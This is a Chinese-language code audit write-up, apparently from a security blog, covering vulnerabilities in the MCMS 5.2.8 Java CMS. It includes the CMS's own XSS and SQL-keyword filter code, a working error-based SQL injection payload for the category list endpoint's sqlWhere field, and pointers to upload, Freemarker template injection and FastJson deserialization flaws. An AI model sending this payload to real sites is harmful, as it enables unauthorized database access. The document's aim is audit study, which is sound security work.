【代码审计】Java MCMS 框架 5.2.8

https://www.freebuf.com/articles/web/360757.html

项目说明

https://gitee.com/mingSoft/MCMS
网上看了下这套代码的漏洞比较多,可以用来练练手

技术 名称 官网
Spring Framework 容器 http://projects.spring.io/spring-framework
Spring Boot MVC框架 https://spring.io/projects/spring-boot
Apache Shiro 安全框架 http://shiro.apache.org
Spring session 分布式Session管理 http://projects.spring.io/spring-session
MyBatis ORM框架 http://www.mybatis.org
Freemarker 视图框架 http://freemarker.foofun.cn
PageHelper MyBatis分页插件 http://git.oschina.net/free/Mybatis_PageHelper
Log4J 日志组件 http://logging.apache.org
Maven 项目构建 http://maven.apache.org
Elasticsearch 分布式搜索引擎 https://www.elastic.co
Redis 分布式缓存数据库 https://redis.io
hutool 工具类 http://hutool.mydoc.io
技术 常见安全问题 防范措施
Spring Framework 配置漏洞(如未正确配置 CSRF、CORS),数据暴露风险 确保正确配置 CSRF 和 CORS,启用 Spring Security 进行鉴权,避免不必要的 Bean 暴露
Spring Boot 默认配置可能暴露管理端点(如 /actuator),可能引发信息泄露 application.properties 中禁用生产环境的管理端点,限制访问权限
Apache Shiro 鉴权绕过(特别是路径拦截不当)、密码加密强度不足 确保路径拦截规则严格且测试充分,加密配置中使用高强度散列算法
Spring Session 会话固定攻击(Session Fixation)、会话劫持 使用 https 保护传输,加密存储敏感会话信息,定期刷新会话
MyBatis SQL 注入 使用 #{} 语法传递参数,避免直接拼接 SQL,定期检查 Mapper 文件
Freemarker 模板注入(Template Injection) 避免使用用户输入直接作为模板变量,开启输出转义
PageHelper 分页参数未验证,可能导致注入 校验分页参数的合法性,设置最大分页限制
Log4J 日志注入,JNDI 注入风险(Log4Shell) 避免日志记录用户直接输入内容,升级到安全版本(Log4j2 最新版)
Maven 使用的依赖库可能包含已知漏洞 定期检查依赖库版本,使用 Maven Security Scanner 检测
Elasticsearch 默认配置未认证,可能被未授权访问 设置访问控制策略,加密存储,禁用默认的 _cat 等敏感接口
Redis 未授权访问,持久化数据泄露风险 禁用不必要的外部网络连接,配置密码和 IP 白名单
Hutool 安全性依赖具体工具函数的实现 使用时需验证 Hutool 工具类的输入输出是否合法,避免直接处理用户输入

前台XSS

其实感觉也不算是漏洞,只是做给自己看的

主要原因是上面在报错返回时,将恶意代码也添加在了content当中一起返回
可以看到下面的调用栈信息
这里可以跟进分析下是怎么判断的:

1
2
3
4
5
6
7
8
9
10
11
12
public String clean(String name, String content) {
String result = Jsoup.clean(content, "", whitelist, outputSettings);
result = Parser.unescapeEntities(result, true);
if (content.equals(result) && SqlInjectionUtil.isSqlValid(content)) {
return content;
} else {
String uri = SpringUtil.getRequest().getRequestURI();
LOGGER.debug("接口不符合XSS规则:{}", uri);
LOGGER.debug("参数名:{} 参数值:{}", name, content);
throw new BusinessException("参数异常:" + content);
}
}

在上面的 Jsoup.clean 中就已经清除了,Jsoup.clean 是 Jsoup 库的一部分,Jsoup 是一个开源的 Java 库,专门用于解析、清理和操作 HTML。Jsoup 可以从 HTML 中移除不安全的内容,因此常用于防止 XSS 攻击。
使用Jsoup.clean消除不受信任的HTML (防止XSS攻击)

1
2
3
4
5
6
7
public static String clean(String bodyHtml, String baseUri, Whitelist whitelist, Document.OutputSettings outputSettings) {
Document dirty = parseBodyFragment(bodyHtml, baseUri);
Cleaner cleaner = new Cleaner(whitelist);
Document clean = cleaner.clean(dirty);
clean.outputSettings(outputSettings);
return clean.body().html();
}

bodyHtml 字符串解析为一个 Document 对象,称为 dirty(“未清理”文档)。

这里clean之后就已经不包含恶意代码了
注意到前面的代码中还有对sql代码的过滤,跟进去看到了规则如下:

1
private static final Pattern sqlPattern = Pattern.compile("(?:')|(?:--)|(/\\*(?:.|[\\n\\r])*?\\*/)|(\\b(select|update|and|or|delete|insert|trancate|char|substr|ascii|declare|chr|mid|exec|count|master|into|drop|execute)\\b)", 2);

SQL注入

前面已经知道了MCMS使用mybaits作为持久层框架,可以分析相应的映射文件,在其中查找使用$拼接的参数。除此之外还有种漏洞思路,<include></include>标签,会将一段复用的SQL代码拼接入当前语句中。

$ 查询分析

IContentDao.xml中找到了用到了,这个先暂时放着

<include></include>分析

三个xml文件中都包含有下面的这个:

1
<include refid="net.mingsoft.base.dao.IBaseDao.sqlWhere"></include>

进入到这个类里面看看到底是什么

可以看到其中有大量的$,主要是用到了${item.field},分析得到这个是来自于 sqlWhereList ,其中的field变量是可能存在的注入点。
接下来看看这个是否可控,返回去查看方法调用的点,在ICategoryDao.xml,找select id=”query”对应的接口,没有找到,进入到其基类中查找,找到了

1
2
3
4
5
public interface IBaseDao<E> extends BaseMapper<E> {
...
List<E> query(BaseEntity entity);
...
}

进一步找query的实现类,有三个,但只有一个接受参数

1
2
3
4
5
6
7
8
9
10
// net/mingsoft/base/biz/impl/BaseBizImpl.java
public abstract class BaseBizImpl<M extends BaseMapper<T>,T> extends ServiceImpl<M,T> implements IBaseBiz<T> {
...
@Override
public List<T> query(BaseEntity entity) {
// TODO Auto-generated method stub
return getDao().query(entity);
}
...
}

接下来再找找看哪里用了

跟进net/mingsoft/cms/action/CategoryAction.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@Api(tags={"后端-内容模块接口"})
@Controller("cmsCategoryAction")
@RequestMapping("/${ms.manager.path}/cms/category")
public class CategoryAction extends BaseAction {
......
@RequestMapping(value="/list",method = {RequestMethod.GET, RequestMethod.POST})
@ResponseBody
@RequiresPermissions("cms:category:view")
public ResultData list(@ModelAttribute @ApiIgnore CategoryEntity category) {
BasicUtil.startPage();
List categoryList = categoryBiz.query(category);
return ResultData.build().success(new EUListBean(categoryList,(int) BasicUtil.endPage(categoryList).getTotal()));
}
......
}

存在外部可访问接口,@RequestMapping("/${ms.manager.path}/cms/category")${ms.manager.path}在配置中为ms,找到具体的应用点,传入的参数是 CategoryEntity 类型的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/**
* 查询分类列表接口
* @param category 栏目实体
* @return
*/
@ApiOperation(value = "查询分类列表接口")
@ApiImplicitParams({
@ApiImplicitParam(name = "categoryTitle", value = "栏目管理名称", required =false,paramType="query"),
@ApiImplicitParam(name = "categoryParentId", value = "父类型编号", required =false,paramType="query"),
})
@RequestMapping(value="/list",method = {RequestMethod.GET, RequestMethod.POST})
@ResponseBody
@RequiresPermissions("cms:category:view")
public ResultData list(@ModelAttribute @ApiIgnore CategoryEntity category) {
BasicUtil.startPage();
List categoryList = categoryBiz.query(category);
return ResultData.build().success(new EUListBean(categoryList,(int) BasicUtil.endPage(categoryList).getTotal()));
}

跟进 CategoryEntity 分析其结构,进一步找 又跟进到BaseEntity找qlWhereListSQLwhere,SQLwhere是json格式,分析可能存在注入点。
抓包分析

1
2
3
categoryType=1&sqlWhere=%5B%7B%22action%22%3A%22and%22%2C%22field%22%3A%22content_title%22%2C%22el%22%3A%22eq%22%2C%22model%22%3A%22contentTitle%22%2C%22name%22%3A%22%E6%96%87%E7%AB%A0%E6%A0%87%E9%A2%98%22%2C%22type%22%3A%22input%22%2C%22value%22%3A%2212312313%22%7D%5D&pageNo=1&pageSize=10
url解码之后:
categoryType=1&sqlWhere=[{"action":"and","field":"content_title","el":"eq","model":"contentTitle","name":"文章标题","type":"input","value":"12312313"}]&pageNo=1&pageSize=10

IDEA里面也有输出
接下来尝试使用报错语句查询:

1
2
3
categoryType=1&sqlWhere=[{"action":"and","field":"updatexml(1,concat(0x7e,(select user()),0x7e),1)","el":"eq","model":"contentTitle","name":"文章标题","type":"input","value":"12312313"}]&pageNo=1&pageSize=10

categoryType=1&sqlWhere=%5B%7B%22action%22:%22and%22,%22field%22:%22updatexml(1,concat(0x7e,(select%20user()),0x7e),1)%22,%22el%22:%22eq%22,%22model%22:%22contentTitle%22,%22name%22:%22%E6%96%87%E7%AB%A0%E6%A0%87%E9%A2%98%22,%22type%22:%22input%22,%22value%22:%2212312313%22%7D%5D&pageNo=1&pageSize=10

注入结果

文件上传

模板位置上传
/ms/file/uploadTemplate.do

SSTI:Freemarker模板注入

源码位置net\mingsoft\base\util\FtlUtil.java

FastJson <=1.2.80 反序列化

net/mingsoft/basic/action/web/EditorAction.javaMap<String, Object> map = (Map<String, Object>) JSONObject.parse(jsonConfig); //直接解析了jsonConfig

URL:@RequestMapping(“/static/plugins/ueditor/{version}/jsp”),需要version